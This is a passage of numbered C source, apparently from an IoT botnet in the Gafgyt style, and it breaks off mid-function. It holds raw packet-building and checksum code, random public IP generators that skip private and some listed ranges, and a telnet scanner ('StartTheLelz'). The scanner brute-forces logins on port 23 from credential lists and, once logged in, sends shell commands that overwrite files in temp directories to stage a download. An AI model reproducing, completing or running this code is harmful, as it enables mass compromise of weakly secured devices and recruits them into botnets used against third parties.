  640. };
  641.  
  642. long parseHex(unsigned char *hex)
  643. {
  644. long ret = 0;
  645. while (*hex && ret >= 0) ret = (ret << 4) | hextable[*hex++];
  646. return ret;
  647. }
  648.  
  649. int wildString(const unsigned char* pattern, const unsigned char* string) {
  650. switch(*pattern)
  651. {
  652. case '\0': return *string;
  653. case '*': return !(!wildString(pattern+1, string) || *string && !wildString(pattern, string+1));
  654. case '?': return !(*string && !wildString(pattern+1, string+1));
  655. default: return !((toupper(*pattern) == toupper(*string)) && !wildString(pattern+1, string+1));
  656. }
  657. }
  658.  
  659. int getHost(unsigned char *toGet, struct in_addr *i)
  660. {
  661. struct hostent *h;
  662. if((i->s_addr = inet_addr(toGet)) == -1) return 1;
  663. return 0;
  664. }
  665.  
  666. void uppercase(unsigned char *str)
  667. {
  668. while(*str) { *str = toupper(*str); str++; }
  669. }
  670.  
  671. int getBogos(unsigned char *bogomips)
  672. {
  673. int cmdline = open("/proc/cpuinfo", O_RDONLY);
  674. char linebuf[4096];
  675. while(fdgets(linebuf, 4096, cmdline) != NULL)
  676. {
  677. uppercase(linebuf);
  678. if(strstr(linebuf, "BOGOMIPS") == linebuf)
  679. {
  680. unsigned char *pos = linebuf + 8;
  681. while(*pos == ' ' || *pos == '\t' || *pos == ':') pos++;
  682. while(pos[strlen(pos)-1] == '\r' || pos[strlen(pos)-1] == '\n') pos[strlen(pos)-1]=0;
  683. if(strchr(pos, '.') != NULL) *strchr(pos, '.') = 0x00;
  684. strcpy(bogomips, pos);
  685. close(cmdline);
  686. return 0;
  687. }
  688. memset(linebuf, 0, 4096);
  689. }
  690. close(cmdline);
  691. return 1;
  692. }
  693.  
  694. int getCores()
  695. {
  696. int totalcores = 0;
  697. int cmdline = open("/proc/cpuinfo", O_RDONLY);
  698. char linebuf[4096];
  699. while(fdgets(linebuf, 4096, cmdline) != NULL)
  700. {
  701. uppercase(linebuf);
  702. if(strstr(linebuf, "BOGOMIPS") == linebuf) totalcores++;
  703. memset(linebuf, 0, 4096);
  704. }
  705. close(cmdline);
  706. return totalcores;
  707.  
  708. }
  709.  
  710. void makeRandomStr(unsigned char *buf, int length)
  711. {
  712. int i = 0;
  713. for(i = 0; i < length; i++) buf[i] = (rand_cmwc()%(91-65))+65;
  714. }
  715.  
  716. int recvLine(int socket, unsigned char *buf, int bufsize)
  717. {
  718. memset(buf, 0, bufsize);
  719.  
  720. fd_set myset;
  721. struct timeval tv;
  722. tv.tv_sec = 30;
  723. tv.tv_usec = 0;
  724. FD_ZERO(&myset);
  725. FD_SET(socket, &myset);
  726. int selectRtn, retryCount;
  727. if ((selectRtn = select(socket+1, &myset, NULL, &myset, &tv)) <= 0) {
  728. while(retryCount < 10)
  729. {
  730. sockprintf(mainCommSock, "PING");
  731.  
  732. tv.tv_sec = 30;
  733. tv.tv_usec = 0;
  734. FD_ZERO(&myset);
  735. FD_SET(socket, &myset);
  736. if ((selectRtn = select(socket+1, &myset, NULL, &myset, &tv)) <= 0) {
  737. retryCount++;
  738. continue;
  739. }
  740.  
  741. break;
  742. }
  743. }
  744.  
  745. unsigned char tmpchr;
  746. unsigned char *cp;
  747. int count = 0;
  748.  
  749. cp = buf;
  750. while(bufsize-- > 1)
  751. {
  752. if(recv(mainCommSock, &tmpchr, 1, 0) != 1) {
  753. *cp = 0x00;
  754. return -1;
  755. }
  756. *cp++ = tmpchr;
  757. if(tmpchr == '\n') break;
  758. count++;
  759. }
  760. *cp = 0x00;
  761.  
  762. return count;
  763. }
  764.  
  765. struct telstate_t
  766. {
  767. int fd;
  768. unsigned int ip;
  769. unsigned char state;
  770. unsigned char complete;
  771. unsigned char usernameInd;
  772. unsigned char passwordInd;
  773. unsigned char tempDirInd;
  774. unsigned int totalTimeout;
  775. unsigned short bufUsed;
  776. char *sockbuf;
  777. };
  778. const char* get_telstate_host(struct telstate_t* telstate)
  779. {
  780. struct in_addr in_addr_ip;
  781. in_addr_ip.s_addr = telstate->ip;
  782. return inet_ntoa(in_addr_ip);
  783. }
  784.  
  785. int read_until_response(int fd, int timeout_usec, char* buffer, int buf_size, char** strings)
  786. {
  787. int num_bytes, i;
  788. memset(buffer, 0, buf_size);
  789. num_bytes = read_with_timeout(fd, timeout_usec, buffer, buf_size);
  790.  
  791. if(buffer[0] == 0xFF)
  792. {
  793. negotiate(fd, buffer, 3);
  794. }
  795.  
  796. if(contains_string(buffer, strings))
  797. {
  798. return 1;
  799. }
  800.  
  801. return 0;
  802. }
  803. int read_with_timeout(int fd, int timeout_usec, char* buffer, int buf_size)
  804. {
  805. fd_set read_set;
  806. struct timeval tv;
  807. tv.tv_sec = 0;
  808. tv.tv_usec = timeout_usec;
  809.  
  810. FD_ZERO(&read_set);
  811. FD_SET(fd, &read_set);
  812.  
  813. if (select(fd+1, &read_set, NULL, NULL, &tv) < 1)
  814. return 0;
  815.  
  816. return recv(fd, buffer, buf_size, 0);
  817. }
  818. void advance_state(struct telstate_t* telstate, int new_state)
  819. {
  820. if(new_state == 0)
  821. {
  822. close(telstate->fd);
  823. }
  824.  
  825. telstate->totalTimeout = 0;
  826. telstate->state = new_state;
  827. memset((telstate->sockbuf), 0, BUFFER_SIZE);
  828. }
  829.  
  830. void reset_telstate(struct telstate_t* telstate)
  831. {
  832. advance_state(telstate, 0);
  833. telstate->complete = 1;
  834. }
  835. int contains_success(char* buffer)
  836. {
  837. return contains_string(buffer, successes);
  838. }
  839. int contains_fail(char* buffer)
  840. {
  841. return contains_string(buffer, fails);
  842. }
  843. int contains_response(char* buffer)
  844. {
  845. return contains_success(buffer) || contains_fail(buffer);
  846. }
  847. int contains_string(char* buffer, char** strings)
  848. {
  849. int num_strings = 0, i = 0;
  850.  
  851. for(num_strings = 0; strings[++num_strings] != 0; );
  852.  
  853. for(i = 0; i < num_strings; i++)
  854. {
  855. if(strcasestr(buffer, strings[i]))
  856. {
  857. return 1;
  858. }
  859. }
  860.  
  861. return 0;
  862. }
  863.  
  864. int connectTimeout(int fd, char *host, int port, int timeout)
  865. {
  866. struct sockaddr_in dest_addr;
  867. fd_set myset;
  868. struct timeval tv;
  869. socklen_t lon;
  870.  
  871. int valopt;
  872. long arg = fcntl(fd, F_GETFL, NULL);
  873. arg |= O_NONBLOCK;
  874. fcntl(fd, F_SETFL, arg);
  875.  
  876. dest_addr.sin_family = AF_INET;
  877. dest_addr.sin_port = htons(port);
  878. if(getHost(host, &dest_addr.sin_addr)) return 0;
  879. memset(dest_addr.sin_zero, '\0', sizeof dest_addr.sin_zero);
  880. int res = connect(fd, (struct sockaddr *)&dest_addr, sizeof(dest_addr));
  881.  
  882. if (res < 0) {
  883. if (errno == EINPROGRESS) {
  884. tv.tv_sec = timeout;
  885. tv.tv_usec = 0;
  886. FD_ZERO(&myset);
  887. FD_SET(fd, &myset);
  888. if (select(fd+1, NULL, &myset, NULL, &tv) > 0) {
  889. lon = sizeof(int);
  890. getsockopt(fd, SOL_SOCKET, SO_ERROR, (void*)(&valopt), &lon);
  891. if (valopt) return 0;
  892. }
  893. else return 0;
  894. }
  895. else return 0;
  896. }
  897.  
  898. arg = fcntl(fd, F_GETFL, NULL);
  899. arg &= (~O_NONBLOCK);
  900. fcntl(fd, F_SETFL, arg);
  901.  
  902. return 1;
  903. }
  904.  
  905. int listFork()
  906. {
  907. uint32_t parent, *newpids, i;
  908. parent = fork();
  909. if (parent <= 0) return parent;
  910. numpids++;
  911. newpids = (uint32_t*)malloc((numpids + 1) * 4);
  912. for (i = 0; i < numpids - 1; i++) newpids[i] = pids[i];
  913. newpids[numpids - 1] = parent;
  914. free(pids);
  915. pids = newpids;
  916. return parent;
  917. }
  918.  
  919. int negotiate(int sock, unsigned char *buf, int len)
  920. {
  921. unsigned char c;
  922.  
  923. switch (buf[1]) {
  924. case CMD_IAC: /*dropped an extra 0xFF wh00ps*/ return 0;
  925. case CMD_WILL:
  926. case CMD_WONT:
  927. case CMD_DO:
  928. case CMD_DONT:
  929. c = CMD_IAC;
  930. send(sock, &c, 1, MSG_NOSIGNAL);
  931. if (CMD_WONT == buf[1]) c = CMD_DONT;
  932. else if (CMD_DONT == buf[1]) c = CMD_WONT;
  933. else if (OPT_SGA == buf[1]) c = (buf[1] == CMD_DO ? CMD_WILL : CMD_DO);
  934. else c = (buf[1] == CMD_DO ? CMD_WONT : CMD_DONT);
  935. send(sock, &c, 1, MSG_NOSIGNAL);
  936. send(sock, &(buf[2]), 1, MSG_NOSIGNAL);
  937. break;
  938.  
  939. default:
  940. break;
  941. }
  942.  
  943. return 0;
  944. }
  945.  
  946. int matchPrompt(char *bufStr)
  947. {
  948. char *prompts = ":>%$#\0";
  949.  
  950. int bufLen = strlen(bufStr);
  951. int i, q = 0;
  952. for(i = 0; i < strlen(prompts); i++)
  953. {
  954. while(bufLen > q && (*(bufStr + bufLen - q) == 0x00 || *(bufStr + bufLen - q) == ' ' || *(bufStr + bufLen - q) == '\r' || *(bufStr + bufLen - q) == '\n')) q++;
  955. if(*(bufStr + bufLen - q) == prompts[i]) return 1;
  956. }
  957.  
  958. return 0;
  959. }
  960.  
  961. int readUntil(int fd, char *toFind, int matchLePrompt, int timeout, int timeoutusec, char *buffer, int bufSize, int initialIndex)
  962. {
  963. int bufferUsed = initialIndex, got = 0, found = 0;
  964. fd_set myset;
  965. struct timeval tv;
  966. tv.tv_sec = timeout;
  967. tv.tv_usec = timeoutusec;
  968. unsigned char *initialRead = NULL;
  969.  
  970. while(bufferUsed + 2 < bufSize && (tv.tv_sec > 0 || tv.tv_usec > 0))
  971. {
  972. FD_ZERO(&myset);
  973. FD_SET(fd, &myset);
  974. if (select(fd+1, &myset, NULL, NULL, &tv) < 1) break;
  975. initialRead = buffer + bufferUsed;
  976. got = recv(fd, initialRead, 1, 0);
  977. if(got == -1 || got == 0) return 0;
  978. bufferUsed += got;
  979. if(*initialRead == 0xFF)
  980. {
  981. got = recv(fd, initialRead + 1, 2, 0);
  982. if(got == -1 || got == 0) return 0;
  983. bufferUsed += got;
  984. if(!negotiate(fd, initialRead, 3)) return 0;
  985. } else {
  986. if(strstr(buffer, toFind) != NULL || (matchLePrompt && matchPrompt(buffer))) { found = 1; break; }
  987. }
  988. }
  989.  
  990. if(found) return 1;
  991. return 0;
  992. }
  993.  
  994. in_addr_t GetRandomIP(in_addr_t netmask)
  995. {
  996. in_addr_t tmp = ntohl(ourIP.s_addr) & netmask;
  997. return tmp ^ ( rand_cmwc() & ~netmask);
  998. }
  999.  
  1000. unsigned short csum (unsigned short *buf, int count)
  1001. {
  1002. register uint64_t sum = 0;
  1003. while( count > 1 ) { sum += *buf++; count -= 2; }
  1004. if(count > 0) { sum += *(unsigned char *)buf; }
  1005. while (sum>>16) { sum = (sum & 0xffff) + (sum >> 16); }
  1006. return (uint16_t)(~sum);
  1007. }
  1008.  
  1009. unsigned short tcpcsum(struct iphdr *iph, struct tcphdr *tcph)
  1010. {
  1011.  
  1012. struct tcp_pseudo
  1013. {
  1014. unsigned long src_addr;
  1015. unsigned long dst_addr;
  1016. unsigned char zero;
  1017. unsigned char proto;
  1018. unsigned short length;
  1019. } pseudohead;
  1020. unsigned short total_len = iph->tot_len;
  1021. pseudohead.src_addr=iph->saddr;
  1022. pseudohead.dst_addr=iph->daddr;
  1023. pseudohead.zero=0;
  1024. pseudohead.proto=IPPROTO_TCP;
  1025. pseudohead.length=htons(sizeof(struct tcphdr));
  1026. int totaltcp_len = sizeof(struct tcp_pseudo) + sizeof(struct tcphdr);
  1027. unsigned short *tcp = malloc(totaltcp_len);
  1028. memcpy((unsigned char *)tcp,&pseudohead,sizeof(struct tcp_pseudo));
  1029. memcpy((unsigned char *)tcp+sizeof(struct tcp_pseudo),(unsigned char *)tcph,sizeof(struct tcphdr));
  1030. unsigned short output = csum(tcp,totaltcp_len);
  1031. free(tcp);
  1032. return output;
  1033. }
  1034.  
  1035. void makeIPPacket(struct iphdr *iph, uint32_t dest, uint32_t source, uint8_t protocol, int packetSize)
  1036. {
  1037. iph->ihl = 5;
  1038. iph->version = 4;
  1039. iph->tos = 0;
  1040. iph->tot_len = sizeof(struct iphdr) + packetSize;
  1041. iph->id = rand_cmwc();
  1042. iph->frag_off = 0;
  1043. iph->ttl = MAXTTL;
  1044. iph->protocol = protocol;
  1045. iph->check = 0;
  1046. iph->saddr = source;
  1047. iph->daddr = dest;
  1048. }
  1049.  
  1050. int sclose(int fd)
  1051. {
  1052. if(3 > fd) return 1;
  1053. close(fd);
  1054. return 0;
  1055. }
  1056. int socket_connect(char *host, in_port_t port) {
  1057. struct hostent *hp;
  1058. struct sockaddr_in addr;
  1059. int on = 1, sock;
  1060. if ((hp = gethostbyname(host)) == NULL) return 0;
  1061. bcopy(hp->h_addr, &addr.sin_addr, hp->h_length);
  1062. addr.sin_port = htons(port);
  1063. addr.sin_family = AF_INET;
  1064. sock = socket(PF_INET, SOCK_STREAM, IPPROTO_TCP);
  1065. setsockopt(sock, IPPROTO_TCP, TCP_NODELAY, (const char *)&on, sizeof(int));
  1066. if (sock == -1) return 0;
  1067. if (connect(sock, (struct sockaddr *)&addr, sizeof(struct sockaddr_in)) == -1)
  1068. return 0;
  1069. return sock;
  1070. }
  1071. static uint8_t ipState[5] = {0};
  1072. in_addr_t getRandomPublicIP()
  1073. {
  1074.         ipState[0] = rand() % 255;
  1075.         ipState[1] = rand() % 255;
  1076.         ipState[2] = rand() % 255;
  1077.         ipState[3] = rand() % 255;
  1078.  
  1079.         while(
  1080.                 (ipState[0] == 0) ||
  1081.                 (ipState[0] == 10) ||
  1082.                 (ipState[0] == 100 && (ipState[1] >= 64 && ipState[1] <= 127)) ||
  1083.                 (ipState[0] == 127) ||
  1084.                 (ipState[0] == 169 && ipState[1] == 254) ||
  1085.                 (ipState[0] == 172 && (ipState[1] <= 16 && ipState[1] <= 31)) ||
  1086.                 (ipState[0] == 192 && ipState[1] == 0 && ipState[2] == 2) ||
  1087.                 (ipState[0] == 192 && ipState[1] == 88 && ipState[2] == 99) ||
  1088.                 (ipState[0] == 192 && ipState[1] == 168) ||
  1089.                 (ipState[0] == 198 && (ipState[1] == 18 || ipState[1] == 19)) ||
  1090.                 (ipState[0] == 198 && ipState[1] == 51 && ipState[2] == 100) ||
  1091.                 (ipState[0] == 203 && ipState[1] == 0 && ipState[2] == 113) ||
  1092.                 (ipState[0] == 188 && ipState[1] == 209 && ipState[2] == 52) ||
  1093.                 (ipState[0] == 188 && ipState[1] == 209 && ipState[2] == 49) ||
  1094.                 (ipState[0] == 185 && ipState[1] == 62 && ipState[2] == 190) ||
  1095.                 (ipState[0] == 185 && ipState[1] == 62 && ipState[2] == 189) ||
  1096.                 (ipState[0] == 185 && ipState[1] == 62 && ipState[2] == 188) ||
  1097.                 (ipState[0] == 185 && ipState[1] == 61 && ipState[2] == 137) ||
  1098.                 (ipState[0] == 185 && ipState[1] == 61 && ipState[2] == 136) ||
  1099.                 (ipState[0] == 185 && ipState[1] == 11 && ipState[2] == 147) ||
  1100.                 (ipState[0] == 185 && ipState[1] == 11 && ipState[2] == 146) ||
  1101.                 (ipState[0] == 185 && ipState[1] == 11 && ipState[2] == 145) ||
  1102.                 (ipState[0] == 63 && ipState[1] == 141 && ipState[2] == 241) ||
  1103.                 (ipState[0] == 69 && ipState[1] == 30 && ipState[2] == 192) ||
  1104.                 (ipState[0] == 69 && ipState[1] == 30 && ipState[2] == 244) ||
  1105.                 (ipState[0] == 69 && ipState[1] == 197 && ipState[2] == 128) ||
  1106.                 (ipState[0] == 162 && ipState[1] == 251 && ipState[2] == 120) ||
  1107.                 (ipState[0] == 173 && ipState[1] == 208 && ipState[2] == 128) ||
  1108.                 (ipState[0] == 173 && ipState[1] == 208 && ipState[2] == 180) ||
  1109.                 (ipState[0] == 173 && ipState[1] == 208 && ipState[2] == 250) ||
  1110.                 (ipState[0] == 192 && ipState[1] == 187 && ipState[2] == 113) ||
  1111.                 (ipState[0] == 198 && ipState[1] == 204 && ipState[2] == 241) ||
  1112.                 (ipState[0] == 204 && ipState[1] == 10 && ipState[2] == 160) ||
  1113.                 (ipState[0] == 204 && ipState[1] == 12 && ipState[2] == 192) ||
  1114.                 (ipState[0] == 208 && ipState[1] == 110 && ipState[2] == 64) ||
  1115.                 (ipState[0] == 208 && ipState[1] == 110 && ipState[2] == 72) ||
  1116.                 (ipState[0] == 208 && ipState[1] == 67) ||
  1117.                 (ipState[0] == 94 && ipState[1] == 102 && ipState[2] == 48) ||
  1118.                 (ipState[0] == 93 && ipState[1] == 174 && ipState[2] == 88) ||
  1119.                 (ipState[0] == 89 && ipState[1] == 248 && ipState[2] == 174) ||
  1120.                 (ipState[0] == 89 && ipState[1] == 248 && ipState[2] == 172) ||
  1121.                 (ipState[0] == 89 && ipState[1] == 248 && ipState[2] == 170) ||
  1122.                 (ipState[0] == 89 && ipState[1] == 248 && ipState[2] == 169) ||
  1123.                 (ipState[0] == 89 && ipState[1] == 248 && ipState[2] == 160) ||
  1124.                 (ipState[0] >= 224)
  1125.             )
  1126.         {
  1127.                 ipState[0] = rand() % 255;
  1128.                 ipState[1] = rand() % 255;
  1129.                 ipState[2] = rand() % 255;
  1130.                 ipState[3] = rand() % 255;
  1131.         }
  1132.  
  1133.         char ip[16] = {0};
  1134.         szprintf(ip, "%d.%d.%d.%d", ipState[0], ipState[1], ipState[2], ipState[3]);
  1135.         return inet_addr(ip);
  1136. }
  1137.  
  1138. in_addr_t getRandomPublicIP2()
  1139. {
  1140.         int range = rand() % (sizeof(oldranges)/sizeof(char *));
  1141.         ipState[0] = oldranges[range];
  1142.         ipState[1] = oldranges2[range];
  1143.         ipState[2] = rand() % 255;
  1144.         ipState[3] = rand() % 255;
  1145.         char ip[16] = {0};
  1146.         szprintf(ip, "%d.%d.%d.%d", ipState[0], ipState[1], ipState[2], ipState[3]);
  1147.         return inet_addr(ip);
  1148. }
  1149.  
  1150. in_addr_t getRandomPublicIPA()
  1151. {
  1152.         int range = rand() % (sizeof(rangesA)/sizeof(char *));
  1153.         ipState[0] = rangesA[range];
  1154.         ipState[1] = rand() % 255;
  1155.         ipState[2] = rand() % 255;
  1156.         ipState[3] = rand() % 255;
  1157.         char ip[16] = {0};
  1158.         szprintf(ip, "%d.%d.%d.%d", ipState[0], ipState[1], ipState[2], ipState[3]);
  1159.         return inet_addr(ip);
  1160. }
  1161.  
  1162. in_addr_t getRandomPublicIPB()
  1163. {
  1164.         int range = rand() % (sizeof(rangesB1)/sizeof(char *));
  1165.         ipState[0] = rangesB1[range];
  1166.         ipState[1] = rangesB2[range];
  1167.         ipState[2] = rand() % 255;
  1168.         ipState[3] = rand() % 255;
  1169.         char ip[16] = {0};
  1170.         szprintf(ip, "%d.%d.%d.%d", ipState[0], ipState[1], ipState[2], ipState[3]);
  1171.         return inet_addr(ip);
  1172. }
  1173.  
  1174. in_addr_t getRandomPublicIPC()
  1175. {
  1176.         int range = rand() % (sizeof(rangesC1)/sizeof(char *));
  1177.         ipState[0] = rangesC1[range];
  1178.         ipState[1] = rangesC2[range];
  1179.         ipState[2] = rangesC3[range];
  1180.         ipState[3] = rand() % 255;
  1181.         char ip[16] = {0};
  1182.         szprintf(ip, "%d.%d.%d.%d", ipState[0], ipState[1], ipState[2], ipState[3]);
  1183.         return inet_addr(ip);
  1184. }
  1185.  
  1186.  
  1187. in_addr_t findARandomIP()
  1188. {
  1189.     if(rangechoice < 1 || rangechoice > 5){
  1190.         return getRandomPublicIP();
  1191.     }else{
  1192.         if(rangechoice == 1){
  1193.             return getRandomPublicIP2();
  1194.         }else if(rangechoice == 2){
  1195.             return getRandomPublicIPA();
  1196.         }else if(rangechoice == 3){
  1197.             return getRandomPublicIPB();
  1198.         }else if(rangechoice == 4){
  1199.             return getRandomPublicIPC();
  1200.         }else{
  1201.             return getRandomPublicIP();
  1202.         }
  1203.     }
  1204. }
  1205.  
  1206.  
  1207.  
  1208. in_addr_t getRandomIP(in_addr_t netmask)
  1209. {
  1210.         in_addr_t tmp = ntohl(ourIP.s_addr) & netmask;
  1211.         return tmp ^ ( rand_cmwc() & ~netmask);
  1212. }
  1213. void StartTheLelz(int wait_usec, int maxfds)
  1214. {
  1215.         int i, res, num_tmps, j;
  1216.         char buf[128], cur_dir;
  1217.  
  1218.         int max = maxfds;
  1219.         fd_set fdset;
  1220.         struct timeval tv;
  1221.         socklen_t lon;
  1222.         int valopt;
  1223.  
  1224.         srand(time(NULL) ^ rand_cmwc());
  1225.        
  1226.         char line[256];
  1227.         char* buffer;
  1228.         struct sockaddr_in dest_addr;
  1229.         dest_addr.sin_family = AF_INET;
  1230.         dest_addr.sin_port = htons(23);
  1231.         memset(dest_addr.sin_zero, '\0', sizeof dest_addr.sin_zero);
  1232.  
  1233.         buffer = malloc(BUFFER_SIZE + 1);
  1234.         memset(buffer, 0, BUFFER_SIZE + 1);
  1235.  
  1236.         struct telstate_t fds[max];
  1237.  
  1238.  
  1239.         memset(fds, 0, max * (sizeof(int) + 1));
  1240.         for(i = 0; i < max; i++)
  1241.         {
  1242.                 memset(&(fds[i]), 0, sizeof(struct telstate_t));
  1243.                 fds[i].complete = 1;
  1244.                 fds[i].sockbuf = buffer;
  1245.         }
  1246.         for(num_tmps = 0; tmpdirs[++num_tmps] != 0; );
  1247.  
  1248.  
  1249.  
  1250.         while(1)
  1251.         {
  1252.                 for(i = 0; i < max; i++)
  1253.                 {
  1254.                         if(fds[i].totalTimeout == 0)
  1255.                         {
  1256.                                 fds[i].totalTimeout = time(NULL);
  1257.                         }
  1258.  
  1259.                         switch(fds[i].state)
  1260.                         {
  1261.                         case 0:
  1262.                                 {
  1263.                                         if(fds[i].complete == 1)
  1264.                                         {
  1265.                                                 // clear the current fd
  1266.                                                 char *tmp = fds[i].sockbuf;
  1267.                                                 memset(&(fds[i]), 0, sizeof(struct telstate_t));
  1268.                                                 fds[i].sockbuf = tmp;
  1269.                                                 // get a new random ip
  1270.                                                 fds[i].ip = findARandomIP();
  1271.                                         }
  1272.                                         else if(fds[i].complete == 0)
  1273.                                         {
  1274.                                                 fds[i].passwordInd++;
  1275.                                                 fds[i].usernameInd++;
  1276.  
  1277.                                                 if(fds[i].passwordInd == sizeof(passwords) / sizeof(char *))
  1278.                                                 {
  1279.                                                         fds[i].complete = 1;
  1280.                                                         continue;
  1281.                                                 }
  1282.                                                 if(fds[i].usernameInd == sizeof(usernames) / sizeof(char *))
  1283.                                                 {
  1284.                                                         fds[i].complete = 1;
  1285.                                                         continue;
  1286.                                                 }
  1287.                                         }
  1288.  
  1289.                                         dest_addr.sin_family = AF_INET;
  1290.                                         dest_addr.sin_port = htons(23);
  1291.                                         memset(dest_addr.sin_zero, '\0', sizeof dest_addr.sin_zero);
  1292.                                         dest_addr.sin_addr.s_addr = fds[i].ip;
  1293.  
  1294.                                         fds[i].fd = socket(AF_INET, SOCK_STREAM, 0);
  1295.  
  1296.                                         if(fds[i].fd == -1) continue;
  1297.  
  1298.                                         fcntl(fds[i].fd, F_SETFL, fcntl(fds[i].fd, F_GETFL, NULL) | O_NONBLOCK);
  1299.  
  1300.                                         if(connect(fds[i].fd, (struct sockaddr *)&dest_addr, sizeof(dest_addr)) == -1 && errno != EINPROGRESS)
  1301.                                         {
  1302.                                                 reset_telstate(&fds[i]);
  1303.                                         }
  1304.                                         else
  1305.                                         {
  1306.                                                 advance_state(&fds[i], 1);
  1307.                                         }
  1308.                                 }
  1309.                                 break;
  1310.  
  1311.                                                                 case 1:
  1312.                                                                     {
  1313.                                                                         FD_ZERO(&fdset);
  1314.                                                                         FD_SET(fds[i].fd, &fdset);
  1315.                                                                         tv.tv_sec = 0;
  1316.                                                                         tv.tv_usec = wait_usec;
  1317.                                                                         res = select(fds[i].fd+1, NULL, &fdset, NULL, &tv);
  1318.                                                    
  1319.                                                                         if(res == 1)
  1320.                                                                         {
  1321.                                                                             lon = sizeof(int);
  1322.                                                                             valopt = 0;
  1323.                                                                             getsockopt(fds[i].fd, SOL_SOCKET, SO_ERROR, (void*)(&valopt), &lon);
  1324.                                                                             //printf("%d\n",valopt);
  1325.                                                                             if(valopt)
  1326.                                                                             {
  1327.                                                                                 reset_telstate(&fds[i]);
  1328.                                                                             }
  1329.                                                                             else
  1330.                                                                             {
  1331.                                                                                 fcntl(fds[i].fd, F_SETFL, fcntl(fds[i].fd, F_GETFL, NULL) & (~O_NONBLOCK));
  1332.                                                                                 advance_state(&fds[i], 2);
  1333.                                                                             }
  1334.                                                                             continue;
  1335.                                                                         }
  1336.                                                                         else if(res == -1)
  1337.                                                                         {
  1338.                                                                             reset_telstate(&fds[i]);
  1339.                                                                             continue;
  1340.                                                                         }
  1341.                                                    
  1342.                                                                         if(fds[i].totalTimeout + 6 < time(NULL))
  1343.                                                                         {
  1344.                                                                             reset_telstate(&fds[i]);
  1345.                                                                         }
  1346.                                                                     }
  1347.                                                                     break;
  1348.                                                    
  1349.                                                                 case 2:
  1350.                                                                     {
  1351.                                                                         if(read_until_response(fds[i].fd, wait_usec, fds[i].sockbuf, BUFFER_SIZE, advances))
  1352.                                                                         {
  1353.                                                                             if(contains_fail(fds[i].sockbuf))
  1354.                                                                             {
  1355.                                                                                 advance_state(&fds[i], 0);
  1356.                                                                             }
  1357.                                                                             else
  1358.                                                                             {
  1359.                                                                                 advance_state(&fds[i], 3);
  1360.                                                                             }
  1361.                                                    
  1362.                                                                             continue;
  1363.                                                                         }
  1364.                                                    
  1365.                                                                         if(fds[i].totalTimeout + 6 < time(NULL))
  1366.                                                                         {
  1367.                                                                             reset_telstate(&fds[i]);
  1368.                                                                         }
  1369.                                                                     }
  1370.                                                                     break;
  1371.                                                    
  1372.                                                                 case 3:
  1373.                                                                     {
  1374.                                                                         if(send(fds[i].fd, usernames[fds[i].usernameInd], strlen(usernames[fds[i].usernameInd]), MSG_NOSIGNAL) < 0)
  1375.                                                                         {
  1376.                                                                             reset_telstate(&fds[i]);
  1377.                                                                             continue;
  1378.                                                                         }
  1379.                                                    
  1380.                                                                         if(send(fds[i].fd, "\r\n", 2, MSG_NOSIGNAL) < 0)
  1381.                                                                         {
  1382.                                                                             reset_telstate(&fds[i]);
  1383.                                                                             continue;
  1384.                                                                         }
  1385.                                                    
  1386.                                                                         advance_state(&fds[i], 4);
  1387.                                                                     }
  1388.                                                                     break;
  1389.                                                    
  1390.                                                                 case 4:
  1391.                                                                     {
  1392.                                                                         if(read_until_response(fds[i].fd, wait_usec, fds[i].sockbuf, BUFFER_SIZE, advances))
  1393.                                                                         {
  1394.                                                                             if(contains_fail(fds[i].sockbuf))
  1395.                                                                             {
  1396.                                                                                 advance_state(&fds[i], 0);
  1397.                                                                             }
  1398.                                                                             else
  1399.                                                                             {
  1400.                                                                                 advance_state(&fds[i], 5);
  1401.                                                                             }
  1402.                                                                             continue;
  1403.                                                                         }
  1404.                                                    
  1405.                                                                         if(fds[i].totalTimeout + 6 < time(NULL))
  1406.                                                                         {
  1407.                                                                             reset_telstate(&fds[i]);
  1408.                                                                         }
  1409.                                                                     }
  1410.                                                                     break;
  1411.                                                    
  1412.                                                                 case 5:
  1413.                                                                     {
  1414.                                                                         if(send(fds[i].fd, passwords[fds[i].passwordInd], strlen(passwords[fds[i].passwordInd]), MSG_NOSIGNAL) < 0)
  1415.                                                                         {
  1416.                                                                             reset_telstate(&fds[i]);
  1417.                                                                             continue;
  1418.                                                                         }
  1419.                                                    
  1420.                                                                         if(send(fds[i].fd, "\r\n", 2, MSG_NOSIGNAL) < 0)
  1421.                                                                         {
  1422.                                                                             reset_telstate(&fds[i]);
  1423.                                                                             continue;
  1424.                                                                         }
  1425.                                                    
  1426.                                                                         advance_state(&fds[i], 6);
  1427.                                                                     }
  1428.                                                                     break;
  1429.                                                    
  1430.                                                                 case 6:
  1431.                                                                     {
  1432.                                                                         if(read_until_response(fds[i].fd, wait_usec, fds[i].sockbuf, BUFFER_SIZE, advances2))
  1433.                                                                         {
  1434.                                                                             fds[i].totalTimeout = time(NULL);
  1435.                                                    
  1436.                                                                             if(contains_fail(fds[i].sockbuf))
  1437.                                                                             {
  1438.                                                                                 advance_state(&fds[i], 0);
  1439.                                                                             }
  1440.                                                                             else if(contains_success(fds[i].sockbuf))
  1441.                                                                             {
  1442.                                                                                 if(fds[i].complete == 2)
  1443.                                                                                 {
  1444.                                                                                     advance_state(&fds[i], 7);
  1445.                                                                                 }
  1446.                                                                                 else
  1447.                                                                                 {
  1448.                                                                                     advance_state(&fds[i], 7);
  1449.                                                                                 }
  1450.                                                                             }
  1451.                                                                             else
  1452.                                                                             {
  1453.                                                                                 reset_telstate(&fds[i]);
  1454.                                                                             }
  1455.                                                                             continue;
  1456.                                                                         }
  1457.  
  1458.                                                    
  1459.                                                                         if(fds[i].totalTimeout + 7 < time(NULL))
  1460.                                                                         {
  1461.                                                                             reset_telstate(&fds[i]);
  1462.                                                                         }
  1463.                                                                     }
  1464.                                                                     break;                        
  1465.                                                                 case 7:
  1466.                                                                     {
  1467.                                                                         for(j = 0; j < num_tmps; j++)
  1468.                                                                         {
  1469.                                                                             memset(buf, 0, 128);
  1470.                                                                             if(j == 0)
  1471.                                                                                 snprintf(buf, 127, ">%s.t && cd %s && for a in `ls -a %s`; do >$a; done; >retrieve\r\n", tmpdirs[j], tmpdirs[j], tmpdirs[j], tmpdirs[j]);
  1472.                                                                             else
  1473.                                                                                 snprintf(buf, 127, ">%s.t && cd %s ; >retrieve\r\n", tmpdirs[j], tmpdirs[j], tmpdirs[j]);
  1474.                                                    
  1475.                                                                             if(send(fds[i].fd, buf, strlen(buf), MSG_NOSIGNAL) < 0)
  1476.                                                                             {
  1477.                                                                                 reset_telstate(&fds[i]);
  1478.                                                                                 continue;
  1479.                                                                             }
  1480.                                                                         }                                              
